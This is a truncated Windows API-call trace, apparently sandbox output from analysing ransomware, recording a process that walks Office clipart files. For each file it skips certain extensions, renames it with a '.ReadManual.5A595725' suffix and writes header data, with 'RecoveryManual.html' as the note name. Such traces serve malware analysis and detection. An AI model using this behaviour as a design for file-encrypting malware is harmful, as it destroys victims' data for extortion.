[0258.783] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.783] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.783] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.783] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.783] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" [0258.783] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.ReadManual.5A595725" [0258.783] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.ReadManual.5A595725") returned 87 [0258.783] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37945212962) returned 1 [0258.783] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0258.784] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.784] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5016) returned 1 [0258.784] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1398, lpName=0x0) returned 0x184 [0258.784] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.784] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.785] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.786] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.787] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1398) returned 0x2f0000 [0258.787] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.787] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37945550976) returned 1 [0258.787] CloseHandle (hObject=0x184) returned 1 [0258.787] SetSecurityInfo () returned 0x57 [0258.787] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.787] CloseHandle (hObject=0x194) returned 1 [0258.788] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0258.788] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00172_.GIF" | out: lpString1="AG00172_.GIF") returned="AG00172_.GIF" [0258.788] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.788] StrStrIW (lpFirst="AG00172_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.788] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.788] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.788] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.788] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.788] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.788] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.788] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.788] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.788] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.788] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.788] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.788] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.788] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.788] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.788] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" [0258.788] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.ReadManual.5A595725" [0258.788] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.ReadManual.5A595725") returned 87 [0258.788] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37945697106) returned 1 [0258.788] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0258.789] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.789] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4390) returned 1 [0258.789] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1126, lpName=0x0) returned 0x184 [0258.789] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.790] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.790] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.792] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.792] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1126) returned 0x2f0000 [0258.792] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.792] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37946098139) returned 1 [0258.792] CloseHandle (hObject=0x184) returned 1 [0258.792] SetSecurityInfo () returned 0x57 [0258.792] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.792] CloseHandle (hObject=0x194) returned 1 [0258.795] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0258.795] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00174_.GIF" | out: lpString1="AG00174_.GIF") returned="AG00174_.GIF" [0258.795] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.795] StrStrIW (lpFirst="AG00174_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.796] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.796] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.796] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.796] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.796] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.796] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.796] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.796] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.796] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.796] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.796] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.796] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.796] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.796] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.796] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" [0258.796] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.ReadManual.5A595725" [0258.796] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.ReadManual.5A595725") returned 87 [0258.796] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37946477328) returned 1 [0258.796] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0258.796] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.796] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3966) returned 1 [0258.796] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf7e, lpName=0x0) returned 0x184 [0258.796] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.797] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.797] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.800] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.800] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf7e) returned 0x2f0000 [0258.801] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.801] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37946938456) returned 1 [0258.801] CloseHandle (hObject=0x184) returned 1 [0258.801] SetSecurityInfo () returned 0x57 [0258.801] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.801] CloseHandle (hObject=0x194) returned 1 [0258.801] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0258.801] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00175_.GIF" | out: lpString1="AG00175_.GIF") returned="AG00175_.GIF" [0258.801] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.801] StrStrIW (lpFirst="AG00175_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.801] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.801] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.802] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.802] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.802] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.802] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.802] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.802] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.802] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.802] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.802] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.802] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.802] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.802] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.802] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" [0258.802] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.ReadManual.5A595725" [0258.802] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.ReadManual.5A595725") returned 87 [0258.802] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37947070910) returned 1 [0258.802] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0258.802] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.802] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3378) returned 1 [0258.802] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd32, lpName=0x0) returned 0x184 [0258.802] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.803] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.803] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.805] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.805] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd32) returned 0x2f0000 [0258.805] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.805] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37947380962) returned 1 [0258.805] CloseHandle (hObject=0x184) returned 1 [0258.805] SetSecurityInfo () returned 0x57 [0258.805] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.805] CloseHandle (hObject=0x194) returned 1 [0258.806] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0258.806] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00176_.GIF" | out: lpString1="AG00176_.GIF") returned="AG00176_.GIF" [0258.806] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.806] StrStrIW (lpFirst="AG00176_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.806] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.806] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.807] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.807] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.807] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.807] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.807] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.807] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.807] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.807] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.807] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.807] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.807] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.807] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.807] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" [0258.807] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.ReadManual.5A595725" [0258.807] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.ReadManual.5A595725") returned 87 [0258.807] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37947571457) returned 1 [0258.807] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0258.807] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.807] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3120) returned 1 [0258.807] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0x184 [0258.808] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.808] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.808] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.810] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.810] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc30) returned 0x2f0000 [0258.810] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.810] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37947873506) returned 1 [0258.810] CloseHandle (hObject=0x184) returned 1 [0258.810] SetSecurityInfo () returned 0x57 [0258.810] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.810] CloseHandle (hObject=0x194) returned 1 [0258.811] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0258.811] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN00010_.WMF" | out: lpString1="AN00010_.WMF") returned="AN00010_.WMF" [0258.811] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.811] StrStrIW (lpFirst="AN00010_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.811] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.811] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.811] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" [0258.811] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.ReadManual.5A595725" [0258.811] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.ReadManual.5A595725") returned 87 [0258.811] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37948008381) returned 1 [0258.811] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0258.812] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft 